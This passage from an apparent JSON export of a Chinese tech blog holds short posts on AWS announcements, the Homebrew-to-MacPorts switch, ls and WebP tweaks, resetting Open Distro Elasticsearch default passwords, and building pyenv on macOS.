    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 AWS 公開了香港區的消息：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/04/announcing-the-aws-asia-pacific-hong-kong-region/\">Announcing the AWS Asia Pacific (Hong Kong) Region</a>」，他們總算是想起來有這區了：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">?? The AWS Hong Kong Region is now open for business! Today, we are launching our eighth AWS Region in Asia. <a href=\"https://t.co/old72DWEwM\">https://t.co/old72DWEwM</a> <a href=\"https://twitter.com/hashtag/AWSLaunches?src=hash&amp;ref_src=twsrc%5Etfw\">#AWSLaunches</a> <a href=\"https://t.co/lypewJD51U\">pic.twitter.com/lypewJD51U</a></p>&mdash; Amazon Web Services (@awscloud) <a href=\"https://twitter.com/awscloud/status/1121268053201891328?ref_src=twsrc%5Etfw\">April 25, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n有三個 AZ：\r\n\r\n<blockquote>The AWS Asia Pacific (Hong Kong) Region consists of three Availability Zones and with this launch, the AWS Global Infrastructure now offers 64 Availability Zones worldwide, serving customers in over 190 countries.</blockquote>\r\n\r\n不過在 <a href=\"https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/\">Region Table</a> 裡面還沒出現，雖然上面已經標「Last updated: April 24, 2019」了... 從「<a href=\"https://docs.aws.amazon.com/general/latest/gr/rande.html\">AWS Regions and Endpoints</a>」可以看到區域代碼是 <code>ap-east-1</code>，然後可以看到 S3 的部分是這樣寫：\r\n\r\n<blockquote>You must enable this Region before you can use it.</blockquote>\r\n\r\n加上之前的一些傳言，可以猜測一些事情？\r\n\r\nAnyway，本來是說 2018 年的時候要開 (參考 2017 年的「<a href=\"https://blog.gslin.org/archives/2017/06/21/7398/aws-%E9%A6%99%E6%B8%AF%E5%8D%80-2018-%E9%96%8B%E5%8F%B0/\">AWS 香港區 2018 開台</a>」這篇)，總算在 2019 年開了...",
    "title": "AWS 香港區開放"
  },
  {
    "id": "8954",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <code>t3a.*</code> 的 EC2 instance：「<a href=\"https://aws.amazon.com/blogs/aws/now-available-amd-epyc-powered-amazon-ec2-t3a-instances/\">Now Available – AMD EPYC-Powered Amazon EC2 T3a Instances</a>」。\r\n\r\n目前開放的區域有限，但算是個開始：\r\n\r\n<blockquote>You can launch T3a instances today in seven sizes in the US East (N. Virginia), US West (Oregon), Europe (Ireland), US East (Ohio), and Asia Pacific (Singapore) Regions in On-Demand, Spot, and Reserved Instance form.</blockquote>\r\n\r\n價錢大約再低個 10% 左右：\r\n\r\n<blockquote>Pricing is 10% lower than the equivalent existing T3 instances; see the On-Demand, Spot, and Reserved Instance pricing pages for more info.</blockquote>\r\n\r\n有些超小的機器可以考慮重開的時候就順便換過去...",
    "title": "AWS 推出使用 AMD CPU 的 t3a.*"
  },
  {
    "id": "8955",
    "body": "基本上現在是哪個有用就用哪個... @_@\r\n\r\n先前提到的「<a href=\"https://blog.gslin.org/archives/2019/02/09/8726/%E6%93%8B-facebook-%E5%BB%A3%E5%91%8A%E7%9A%84-userscript/\">擋 Facebook 廣告的 Userscript</a>」這個又不會動啦... 所以又到處找方法，目前看起來在 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 的「<a href=\"https://github.com/uBlockOrigin/uAssets/issues/3367\">Facebook · Issue #3367 · uBlockOrigin/uAssets</a>」這邊有一直在討論新的擋法，之後如果又看到廣告就過來這邊看一下...\r\n\r\n目前用這組：\r\n\r\n<small><pre>www.facebook.com##div[id^=hyperfeed_story_id_]:has(span[data-ft=\"{\\\"tn\\\":\\\"j\\\"}\"])\r\nwww.facebook.com##.pagelet-group .pagelet:has(a:has-text(Sponsored))\r\nwww.facebook.com##.pagelet-group .pagelet:has(a:has-text(Create ad))</pre></small>\r\n\r\n不知道可以活多久...",
    "title": "回來用 uBlock Origin 擋 Facebook 廣告..."
  },
  {
    "id": "8956",
    "body": "最近一波 IPO 潮，現在輪到了 <a href=\"https://slack.com/\">Slack</a>。\r\n\r\n<img src=\"https://i.gslin.com/imgur/71NqSRQ.jpg\" alt=\"\" />\r\n\r\nForm S-! 的資料可以在「<a href=\"https://www.sec.gov/Archives/edgar/data/1764925/000162828019004786/slacks-1.htm\">slacks-1.htm</a>」這邊抓到，裡面有些數字可以看看，懶的看的話可以看 <a href=\"https://techcrunch.com/\">TechCrunch</a> 的整理：「<a href=\"https://techcrunch.com/2019/04/26/slack-files-to-go-public/\">Slack files to go public, reports $138.9M in losses on revenue of $400.6M</a>」。\r\n\r\n算是相當快的，2013 年八月到現在還不到六年...",
    "title": "Slack 丟出 S-1 要 IPO..."
  },
  {
    "id": "8957",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 也有固定的 IP address 區段了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/04/aws-specifies-the-ip-address-ranges-for-amazon-dynamodb-endpoints/\">AWS specifies the IP address ranges for Amazon DynamoDB endpoints</a>」，對於使用 IP firewall 的人可以多一些控制權。\r\n\r\n資料可以在 <a href=\"https://ip-ranges.amazonaws.com/ip-ranges.json\">https://ip-ranges.amazonaws.com/ip-ranges.json</a> 這邊抓到，裡面 <code>service</code> 是 <code>DYNAMODB</code> 的就是了。\r\n\r\n因為沒看到 IPv6 的位置，才發現 DynamoDB 目前沒有提供 IPv6 Endpoint...",
    "title": "DynamoDB 也有固定的 IP address 區段了"
  },
  {
    "id": "8959",
    "body": "<a href=\"https://www.apache.org/\">ASF</a> 與 <a href=\"https://github.com/\">GitHub</a> 兩邊的新聞稿都釋出了：「<a href=\"https://github.blog/2019-04-29-apache-joins-github-community/\">Apache Software Foundation joins GitHub open source community</a>」、「<a href=\"https://blogs.apache.org/foundation/entry/the-apache-software-foundation-expands\">The Apache® Software Foundation Expands Infrastructure with GitHub Integration</a>」。\r\n\r\n整個搬到 GitHub 上面省得自己管，而且這個年頭的開發者 (至少是 ASF 這群) 大多也都熟悉 <a href=\"https://git-scm.com/\">Git</a> 與 GitHub 的操作，轉移過去的學習成本不算高...\r\n\r\n另外就是一堆既有的服務 (像是 CI/CD 類的) 都有支援 GitHub，不少對 open source project 是有免費方案可以用的，只需要按幾個鍵授權就好了，不用自己架設...",
    "title": "Apache Software Foundation 把程式碼交給 GitHub 託管"
  },
  {
    "id": "8960",
    "body": "看到「<a href=\"https://saagarjha.com/blog/2019/04/26/thoughts-on-macos-package-managers/\">Thoughts on macOS Package Managers</a>」這篇的介紹，文章作者在裡面提到從 <a href=\"https://brew.sh/\">Homebrew</a> 換用 <a href=\"https://www.macports.org/\">MacPorts</a> 的幾個原因...\r\n\r\n裡面有提到 root 權限的問題 (Homebrew 的 workaround)，以及軟體豐富度的問題 (常用的應該都有，這邊的差異會是冷門一些的軟體)。不過這些大概都是之前都已經知道的... 比較新的是目前維護者在 integrity 上的問題：\r\n\r\n<img src=\"https://i.gslin.com/imgur/cWtoQZt.jpg\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/b0jDnT8.jpg\" alt=\"\" />\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/btzNcJf.webp\" /><img src=\"https://i.gslin.com/imgur/btzNcJf.jpg\" alt=\"\" /></picture>\r\n\r\n用「<a href=\"https://superuser.com/questions/203707/how-to-uninstall-homebrew\">How to uninstall Homebrew?</a>」這邊的方法移除 Homebrew 後，再去 MacPorts 官網上下載檔案安裝，跑一陣子看看會不會有什麼問題...\r\n\r\n目前看起來比較大的問題都是出自 <code>/opt/local/{bin,sbin}</code> 架構，這個可以靠在 <code>/etc/profile</code> 裡面設定解決 (不是很愛這個方法，但至少這樣會動...)。",
    "title": "從 Homebrew 換用 MacPorts..."
  },
  {
    "id": "8961",
    "body": "在「<a href=\"https://www.theverge.com/2019/4/27/18519778/spacex-starlink-fcc-approval-satellite-internet-constellation-lower-orbit\">FCC approves SpaceX’s plans to fly internet-beaming satellites in a lower orbit</a>」這邊看到的：\r\n\r\n<blockquote>The Federal Communications Commission has approved SpaceX’s request to fly a large swath of its future internet-beaming satellites at a lower orbit than originally planned. </blockquote>\r\n\r\n預定打四千顆低軌道衛星上去：\r\n\r\n<blockquote>Under SpaceX’s original agreement with the commission, the company had permission to launch 4,425 Starlink satellites into orbits that ranged between 1,110 to 1,325 kilometers up. But then SpaceX decided it wanted to fly 1,584 of those satellites in different orbits, thanks to what it had learned from its first two test satellites, TinTin A and B. Instead of flying them at 1,150 kilometers, the company now wants to fly them much lower at 550 kilometers.</blockquote>\r\n\r\n不知道價位會落在那個區塊... 如果價位夠低的話，也許是可以考慮當作偏鄉地區的通訊方案？至少是個備用方式...",
    "title": "SpaceX 得到 FCC 的同意架設家用的衛星網路"
  },
  {
    "id": "8962",
    "body": "2017 年的文章，最近不知道為什麼冒出來，但還蠻有趣的...\r\n\r\n看到「<a href=\"https://www.huffpost.com/entry/standardized-tests-are-so-bad-i-cant-answer-these_b_586d5517e4b0c3539e80c341\">I Can’t Answer These Texas Standardized Test Questions About My Own Poems</a>」這篇，Sara Holbrook 收到信件跑來問問題 (節錄前面的部份)：\r\n\r\n<blockquote>Hello Mrs. Holbrook. My name is Sean, and I’m an 8th grade English teacher in Texas. I’m attempting to decipher the number of stanzas in your poem, ‘Midnight’. This isn’t clear from the formatting in our most recent benchmark. The assessment asks the following question:</blockquote>\r\n\r\n作者最後的抱怨也很有趣：\r\n\r\n<blockquote>My final reflection is this: any test that questions the motivations of the author without asking the author is a big baloney sandwich. Mostly test makers do this to dead people who can’t protest. But I’m not dead.\r\n\r\nI protest.</blockquote>\r\n\r\n這邊其實也是在偷戳「作者之死」現象... 另外一則也有類似的情況，發生的早一點的台灣 (2016) XDDD\r\n\r\n<iframe src=\"https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2Fmixedhouse%2Fposts%2F1321660431184466&width=500\" width=\"500\" height=\"613\" style=\"border:none;overflow:hidden\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\" allow=\"encrypted-media\"></iframe>\r\n\r\n文學的過度解讀現象 XDDD",
    "title": "詩篇的作者抱怨不知道自己詩篇考題的答案..."
  },
  {
    "id": "8965",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上翻的時候翻到的公告：「<a href=\"https://forums.aws.amazon.com/ann.jspa?annID=6776\">Announcement: Amazon S3 will no longer support path-style API requests starting September 30th, 2020</a>」。\r\n\r\n現有的兩種方法，一種是把 bucket name 放在 path (V1)，另外一種是把 bucket name 放在 hostname (V2)：\r\n\r\n<blockquote>Amazon S3 currently supports two request URI styles in all regions: path-style (also known as V1) that includes bucket name in the path of the URI (example: //s3.amazonaws.com/&lt;bucketname&gt;/key), and virtual-hosted style (also known as V2) which uses the bucket name as part of the domain name (example: //&lt;bucketname&gt;.s3.amazonaws.com/key).</blockquote>\r\n\r\n這次要淘汰的是 V1 的方式，預定在 2020 年十月停止服務 (服務到九月底)：\r\n\r\n<blockquote>Customers should update their applications to use the virtual-hosted style request format when making S3 API requests before September 30th, 2020 to avoid any service disruptions. Customers using the AWS SDK can upgrade to the most recent version of the SDK to ensure their applications are using the virtual-hosted style request format.</blockquote>\r\n\r\n<blockquote>Virtual-hosted style requests are supported for all S3 endpoints in all AWS regions. S3 will stop accepting requests made using the path-style request format in all regions starting September 30th, 2020. Any requests using the path-style request format made after this time will fail.</blockquote>",
    "title": "Amazon S3 要拿掉 Path-style 存取方式"
  },
  {
    "id": "8968",
    "body": "早期網頁的效能評估指標都沒有考慮 JavaScript 的情況，大多都是 TTFB (Time to First Byte) 或是網頁大小以及 <code>DOMContentLoaded</code> 或是 <code>load</code> 這類 DOM event 為主，但因為 <a href=\"https://en.wikipedia.org/wiki/Goodhart%27s_law\">Goodhart's law</a>，現代的網頁設計會故意將許多 JavaScript 要做的事情搬到 <code>load</code> 以後開始做，以降低 <code>load</code> 被延遲的問題，讓前端的「KPI」比較好看：\r\n\r\n<blockquote>When a measure becomes a target, it ceases to be a good measure.</blockquote>\r\n\r\n但在 <code>load</code> 之後整個網站還是不能用，使用者的體驗其實很差，這個評估方式的價值變低不少。所以「<a href=\"https://speedcurve.com/blog/measuring-jank-and-ux/\">Measuring Jank and UX</a>」這篇就再找出一些新的指標，來評估 JavaScript 造成的問題。\r\n\r\n可以看到文章裡面評估了很多關於 CPU loading 與操作時間的指標，也許這一兩年還會有用，不過我覺得還是會遇到 Goodhart's law 描述的問題... XD",
    "title": "針對 JavaScript 時代調整網頁的效能評估指標"
  },
  {
    "id": "8969",
    "body": "看到 <a href=\"https://www.pornhub.com/\">Pornhub</a> 想要買 <a href=\"https://www.tumblr.com/\">Tumblr</a> 的新聞：「<a href=\"https://arstechnica.com/information-technology/2019/05/pornhub-wants-to-buy-tumblr-and-restore-site-to-former-porn-filled-glory/\">Pornhub wants to buy Tumblr and restore site to former porn-filled glory</a>」。\r\n\r\n如果是其他家買可能還沒感覺，但如果是 Pornhub 買的話真的有機會恢復往日榮光的感覺？當然本來已經被迫離開的那些人應該是不會回來...",
    "title": "Pornhub 想買 Tumblr？"
  },
  {
    "id": "8970",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的資料，整理了 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 上不要使用的功能：「<a href=\"https://wiki.postgresql.org/wiki/Don%27t_Do_This\">Don't Do This</a>」，而且是放在官方網域 <a href=\"https://wiki.postgresql.org/\">wiki.postgresql.org</a> 上。\r\n\r\n裡面這些想法不知道出處是哪邊... 有不少功能算是 PostgreSQL 特有的功能 (以 open source RDBMS 這個領域來看)，而且大概也還想的到用的場景，你卻在上面叫大家不要用，再寫的時候大概是吸了一批很純的，已經不知道要從哪邊開始吐槽...\r\n\r\n要看的話連同 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的留言一起看會比較有前因後果：「<a href=\"https://news.ycombinator.com/item?id=19817531\">https://news.ycombinator.com/item?id=19817531</a>」。",
    "title": "PostgreSQL 的 Don't Do This"
  },
  {
    "id": "8971",
    "body": "看到「<a href=\"https://news.sherlock.stanford.edu/posts/when-setting-an-environment-variable-gives-you-a-40-x-speedup\">When setting an environment variable gives you a 40x speedup</a>」這篇在講 <a href=\"https://en.wikipedia.org/wiki/Ls\">ls</a> 的速度。\r\n\r\n文章是由 <a href=\"https://www.stanford.edu/\">Stanford</a> 的 <a href=\"https://www.sherlock.stanford.edu/\">Sherlock</a> 發出來的，不過看起來跟電視劇沒關係，從網站上的標語「The HPC cluster for all your computing needs」可以看出是 <a href=\"https://en.wikipedia.org/wiki/High-performance_computing\">HPC</a> 相關的單位。\r\n\r\n在 HPC 環境裡面可以預期單一目錄裡會有很多檔案，所以使用者跑來抱怨 ls 的速度就不算太意外了。不過這次使用者有提到在他自己的 laptop 上跑 ls 反而很快：\r\n\r\n<blockquote>It all started from a support question, from a user reporting a usability problem with <code>ls</code> taking several minutes to list the contents of a 15,000+ entries directory on <code>$SCRATCH</code>.\r\n\r\nHaving thousands of files in a single directory is usually not very file system-friendly, and definitely not recommended. The user knew this already and admitted that wasn’t great, but when he mentioned his laptop was 1,000x faster than Sherlock to list this directory’s contents, of course, it stung. So we looked deeper.</blockquote>\r\n\r\n直接跳到後面的結論... 原因是出自於因為需要顯示不同顏色，而需要透過 <code>lstat()</code> 查詢額外的檔案性質 (可執行、setuid 以及 setgid 這些資料)，導致速度變慢：\r\n\r\n<blockquote>From 13s with the default settings, to 0.3s with a small LS_COLORS tweak, that’s a 40x speedup right there, for the cheap price of not having setuid/setgid or executable files colorized differently.\r\n\r\nOf course, this is now setup on Sherlock, for every user’s benefit.</blockquote>\r\n\r\n透過設定 <code>LS_COLORS='ex=00:su=00:sg=00:ca=00:'</code>，可以讓 <code>lstat()</code> 消失，所以被放進 Sherlock 的預設值了... 而沒有遇到這個問題的環境 (像是有設計好對應的目錄結構)，或是想要維持原來的樣子的人，則可以 unset 掉這個值讓輸出還是有色彩差異 :o",
    "title": "加快 ls 的速度"
  },
  {
    "id": "8975",
    "body": "<a href=\"https://en.wikipedia.org/wiki/WebP\">WebP</a> 格式的大小比起 <a href=\"https://en.wikipedia.org/wiki/JPEG\">JPEG</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Portable_Network_Graphics\">PNG</a> 都小不少，支援度也都還行，但 <a href=\"https://en.wikipedia.org/wiki/Safari_(web_browser)\">Safari</a> 不支援是個大問題，因為在行動裝置裡面 <a href=\"https://www.apple.com/ios/\">iOS</a> 還是大宗...\r\n\r\n目前想到的方法是只對 <a href=\"https://imgur.com/\">Imgur</a> 的圖片使用 WebP (<code>.webp</code>)，當遇到不支援的 WebP 的平台時透過 JavaScript 改用 PNG (<code>.png</code>)。\r\n\r\n這邊有判斷有沒有支援 WebP 的程式碼出自「<a href=\"https://davidwalsh.name/detect-webp\">Detect WEBP Support with JavaScript</a>」，用 <code>createImageBitmap()</code> 建看看有沒有成功：\r\n\r\n<pre>(() =&gt; {\r\n  let supportsWebP = async () =&gt; {\r\n    if (!self.createImageBitmap) return false;\r\n    const webpData = 'data:image/webp;base64,UklGRh4AAABXRUJQVlA4TBEAAAAvAAAAAAfQ//73v/+BiOh/AAA=';\r\n    const blob = await fetch(webpData).then(r =&gt; r.blob());\r\n    return createImageBitmap(blob).then(() =&gt; true, () =&gt; false);\r\n  };\r\n\r\n  (async () =&gt; {\r\n    if (!await supportsWebP()) {\r\n      document.addEventListener('DOMContentLoaded', () =&gt; {\r\n        for (let el of document.getElementsByTagName('img')) {\r\n          let src = el.getAttribute('src');\r\n          if (src.match(/\\.webp/)) {\r\n            el.setAttribute('src', src.replace(/\\.webp/, '.png'));\r\n          }\r\n        }\r\n      });\r\n    }\r\n  })();\r\n})();</pre>\r\n\r\n這邊比較有趣的是網路上的文件 (<a href=\"https://developer.mozilla.org/\">MDN</a> 與 <a href=\"https://caniuse.com/\">CanIuse</a>) 都說 Safari 不支援 <code>createImageBitmap()</code>，但實際上好像沒問題 :o\r\n\r\n然後再用 <a href=\"https://wordpress.org/\">WordPress</a> 的延伸套件「<a href=\"https://wordpress.org/plugins/search-regex/\">Search Regex</a>」把所有文章理出現 <code>/https:\\/\\/i\\.imgur\\.com/(\\w+)\\.png/</code> 的字串換成 <code>https://i.gslin.com/imgur/$1.webp</code>，接下來就可以拿 Safari 測試了，這樣有點 hack 但看起來還行...",
    "title": "把 Blog 上的 PNG 圖片換成 WebP 格式"
  },
  {
    "id": "8976",
    "body": "Googlebot 先前一直都是用 Chrome 41 版的引擎在跑，如果要考慮 SEO (for JavaScript)，就得確認網站在 Chrome 41 上面可以執行 (於是 <a href=\"https://en.wikipedia.org/wiki/ES6\">ES6</a> 就...)。\r\n\r\n今天從 <a href=\"https://johnresig.com/\">John Resig</a> 的 <a href=\"https://twitter.com/\">Twitter</a> 上看到 Googlebot 更新了引擎：「<a href=\"https://webmasters.googleblog.com/2019/05/the-new-evergreen-googlebot.html\">The new evergreen Googlebot</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">The day has finally arrived - Googlebot is now evergreen!!! <a href=\"https://t.co/pByE8WWjYT\">https://t.co/pByE8WWjYT</a> Time to drop so many polyfills, this is really exciting!</p>&mdash; John Resig (@jeresig) <a href=\"https://twitter.com/jeresig/status/1125897181943218176?ref_src=twsrc%5Etfw\">May 7, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這樣針對 JS 的 SEO 省了不少事情...",
    "title": "Googlebot 會用新版的 Chrome 跑 JavaScript 了"
  },
  {
    "id": "8977",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2019/05/04/8965/amazon-s3-%E8%A6%81%E6%8B%BF%E6%8E%89-path-style-%E5%AD%98%E5%8F%96%E6%96%B9%E5%BC%8F/\">Amazon S3 要拿掉 Path-style 存取方式</a>」提到 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 淘汰 Path-style 存取方式的計畫，經過幾天後有改變了。\r\n\r\nJeff Barr 發表了一篇「<a href=\"https://aws.amazon.com/blogs/aws/amazon-s3-path-deprecation-plan-the-rest-of-the-story/\">Amazon S3 Path Deprecation Plan – The Rest of the Story</a>」，裡面提到本來的計畫是 Path-style model 只支援到 2020/09/30，被大幅修改為只有在 2020/09/30 後建立的 bucket 才會禁止使用 Path-style：\r\n\r\n<blockquote>In response to feedback on the original deprecation plan that we announced last week, we are making an important change. Here’s the executive summary:\r\n\r\nOriginal Plan – Support for the path-style model ends on September 30, 2020.\r\n\r\nRevised Plan – Support for the path-style model continues for buckets created on or before September 30, 2020. Buckets created after that date must be referenced using the virtual-hosted model.</blockquote>\r\n\r\n這樣大幅降低本來會預期的衝擊，但 S3 團隊希望償還的技術債又得繼續下去了... 也許再過個幾年後才會再被提出來？",
    "title": "Amazon S3 淘汰 Path-style 存取方式的新計畫"
  },
  {
    "id": "8979",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出了「<a href=\"https://github.com/features/package-registry\">GitHub Package Registry</a>」，可以代管自己開發的軟體。\r\n\r\n目前支援 <a href=\"https://www.npmjs.com/\">npm</a> (<a href=\"https://nodejs.org/\">Node.js</a>)、<a href=\"https://www.docker.com/\">Docker</a>、<a href=\"https://maven.apache.org/\">Maven</a> (<a href=\"https://www.java.com/\">Java</a>)、<a href=\"https://www.nuget.org/\">NuGet</a> (.NET)、<a href=\"https://rubygems.org/\">RubyGems</a> (<a href=\"https://www.ruby-lang.org/\">Ruby</a>) 五個平台，\r\n\r\n隔壁 <a href=\"https://gitlab.com/\">GitLab</a> 說我們早就有了而氣噗噗中：「<a href=\"https://about.gitlab.com/2019/05/10/github-adds-package-registry/\">Packaging now standard, dependency proxy next?</a>」。\r\n\r\nAnyway，省下一些事情，以前會透過 CI/CD 丟到像是 <a href=\"https://packagecloud.io/\">packagecloud.io</a> 這樣的服務上讓內部使用，現在看起來 GitHub 上面可以解決一些簡單的情境...",
    "title": "GitHub 推出 Package Registry"
  },
  {
    "id": "8981",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 弄出來的 <a href=\"https://opendistro.github.io/for-elasticsearch/\">Open Distro for Elasticsearch</a> 因為內建了安全性的功能 (參考「<a href=\"https://blog.gslin.org/archives/2019/03/12/8806/aws-%E5%B0%8D-elastic-stack-%E5%AF%A6%E4%BD%9C%E5%85%8D%E8%B2%BB%E7%9A%84%E9%96%8B%E6%BA%90%E7%89%88%E6%9C%AC-open-distro-for-elasticsearch/\">AWS 對 Elastic Stack 實作免費的開源版本 Open Distro for Elasticsearch</a>」)，應該是目前新架設 <a href=\"https://www.elastic.co/products/elasticsearch\">Elasticsearch</a> 的首選。\r\n\r\n不過裝好後預設有五個帳號，但從 Open Distro 的 <a href=\"https://opendistro.github.io/for-elasticsearch-docs/docs/kibana/\">Kibana</a> 介面無法修改改其中兩個使用者的密碼 (<code>admin</code> 與 <code>kibanaserver</code>)，要修改密碼發現得花不少功夫，不知道為什麼要這樣設計 :/\r\n\r\n這邊講的是透過 <a href=\"https://en.wikipedia.org/wiki/RPM_Package_Manager\">RPM</a> (以及 <a href=\"https://en.wikipedia.org/wiki/Deb_(file_format)\">deb</a>) 的方式的修改方式，如果是 <a href=\"https://www.docker.com/\">Docker</a> 的方式請參考後面提到在 AWS blog 上的文章：「<a href=\"https://aws.amazon.com/blogs/opensource/change-passwords-open-distro-for-elasticsearch/\">Change your Admin Passwords in Open Distro for Elasticsearch</a>」。\r\n\r\n首先先透過 <code>hash.sh</code> 產生 <a href=\"https://en.wikipedia.org/wiki/Bcrypt\">bcrypt</a> 的 hash，像是這樣 (輸入 <code>password</code> 當密碼)：\r\n\r\n<pre>bash /usr/share/elasticsearch/plugins/opendistro_security/tools/hash.sh\r\nWARNING: JAVA_HOME not set, will use /usr/bin/java\r\n[Password:]\r\n$2y$12$QchkpgY8y/.0TL7wruWq4egBDrlpIaURiBYKoZD50G/twdylgwuhG</pre>\r\n\r\n然後修改 <code>/usr/share/elasticsearch/plugins/opendistro_security/securityconfig/internal_users.yml</code> 檔案裡面的值，順便改掉 <code>readonly</code> 的部分。\r\n\r\n接下來是把這個 <code>internal_users.yml</code> 檔案的設定更新到 Elasticsearch 裡。由於這邊需要讀 <code>/etc/elasticsearch/</code> 的東西，所以偷懶用 root 跑\u001d：\r\n\r\n<pre>sudo bash /usr/share/elasticsearch/plugins/opendistro_security/tools/securityadmin.sh -cd ../securityconfig/ -icl -nhnv -cacert /etc/elasticsearch/root-ca.pem -cert /etc/elasticsearch/kirk.pem -key /etc/elasticsearch/kirk-key.pem</pre>\r\n\r\n做完後可能要重跑 Elasticsearch 與 Kibana：\r\n\r\n<pre>sudo service elasticsearch restart\r\nsudo service kibana restart</pre>\r\n\r\n或是重開機... 順便測試看看重開後有沒有生效。理論上修改完成後，就是用新的帳號密碼連到 Kibana。\r\n\r\n上面的方法是參考了「<a href=\"https://discuss.opendistrocommunity.dev/t/default-password-reset/102\">Default Password Reset</a>」(先找到這篇) 與「<a href=\"https://github.com/opendistro/for-elasticsearch-docs/issues/5\">change admin password</a>」(後來在 AWS blog 的文章上發現的 GitHub issue 連結) 這邊的資訊。\r\n\r\n官方的說明文件則是在寫這篇文章時才找到的，平常搜尋時不太會出現：「<a href=\"https://opendistro.github.io/for-elasticsearch-docs/docs/security/security-admin/\">Apply configuration changes</a>」。",
    "title": "改 Open Distro for Elasticsearch 預設密碼的方式"
  },
  {
    "id": "8983",
    "body": "因為先前從 <a href=\"https://brew.sh/\">Homebrew</a> 跳到 <a href=\"https://www.macports.org/\">MacPorts</a> 了，剛好有機會重新弄 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a>，結果發現要解決的問題不少...\r\n\r\n第一個遇到的是需要的 library 抓不到的問題，找了官方說明「<a href=\"https://github.com/pyenv/pyenv/wiki/Common-build-problems\">Common build problems</a>」後知道要自己加上一些環境變數讓 compiler 抓。\r\n\r\n解決之後發現 pyenv 會自己編一個 openssl 版本給 <a href=\"https://www.python.org/\">Python</a> 用，不會裝到系統內，但是又會因為 <code>/usr/local/opt/</code> 寫不進去而失敗，所以給他一個可以寫入的目錄。\r\n\r\n接下來是 zlib 的路徑也不在前面設定的目錄裡而抓不到，所以得想辦法再找出來塞到環境變數內... 也就是「<a href=\"https://github.com/pyenv/pyenv/issues/1219\">Install failed, \"zlib not available\" on macOS Mojave #1219</a>」這篇給的方法。\r\n\r\n最後是這樣：\r\n\r\n<pre>sudo mkdir /usr/local/opt; sudo chown \"$(id -u):$(id -g)\" /usr/local/opt\r\nLDFLAGS=\"-L/usr/local/opt/openssl/lib\" CPPFLAGS=\"-I/usr/local/opt/openssl/include\" CFLAGS=\"-I/usr/local/opt/openssl/include -I$(xcrun --show-sdk-path)/usr/include\" pyenv install 3.7.3</pre>\r\n\r\n裝完後可以發現 <code>/usr/local/opt/</code> 裡面沒有檔案 (但生了幾個空的目錄出來)，但總算是裝起來了...",
    "title": "在 MacPorts 上裝 pyenv..."
  },
  {
    "id": "8984",
    "body": "在「<a href=\"https://freshman.tech/vim-javascript/\">A guide to setting up Vim for JavaScript development</a>」這邊看到可以用 <a href=\"https://github.com/sheerun/vim-polyglot\">sheerun/vim-polyglot</a> 吃多種語言：\r\n\r\n<blockquote>Vim supports basic syntax highlighting for JavaScript but I found it suboptimal especially when it comes to modern ES2015+ syntax, and it doesn’t support JSX when working with React. I found that vim-javascript and vim-jsx solved my problems in both instances.\r\n\r\nHowever, I later replaced those two with vim-polyglot which is a plugin that bundles several other syntax plugins for over 100 languages, and loads them on demand so that performance is not affected.</blockquote>\r\n\r\n先前遇到新的語言就得去找新的 plugin 加，現在看起來可以用一套吃遍天下 (只要一直更新)，換過去後先短暫的測了一下，沒什麼大問題...",
    "title": "換到 vim-polyglot 上..."
  },
  {
    "id": "8985",
    "body": "從以前用 <a href=\"https://en.wikipedia.org/wiki/Apache_Subversion\">Subversion</a> 就有習慣用 e-mail 收 diff log (內建的 hook 就有這個功能)。後來有了 <a href=\"https://mail.google.com/\">Gmail</a> 就更方便了，畢竟搜尋是 <a href=\"https://www.google.com/\">Google</a> 的強項，另外一方面 Gmail 也是目前少數可以完全用鍵盤操作的 e-mail client。\r\n\r\n現在用 <a href=\"https://git-scm.com/\">Git</a> 與 <a href=\"https://github.com/\">GitHub</a> 平台讓這件事情麻煩不少，得透過 webhook + API 自己包出來，目前折衷的方法是收 GitHub 的通知信 (但是沒有 diff log)，然後寫個 <a href=\"https://en.wikipedia.org/wiki/Userscript\">Userscript</a>，在按下 <code>i</code> 之後會把 GitHub 通知信裡的連結全部點開：「<a href=\"https://github.com/gslin/open-github-links-in-gmail\">open-github-links-in-gmail</a>」。\r\n\r\n寫的很簡單... 最花時間反而是因為 hotkey 都被吃掉了，要測出哪個鍵還沒被用掉。",
    "title": "在 Gmail 裡面展開 GitHub 信件連結的 Userscript"
  },
  {
    "id": "8986",
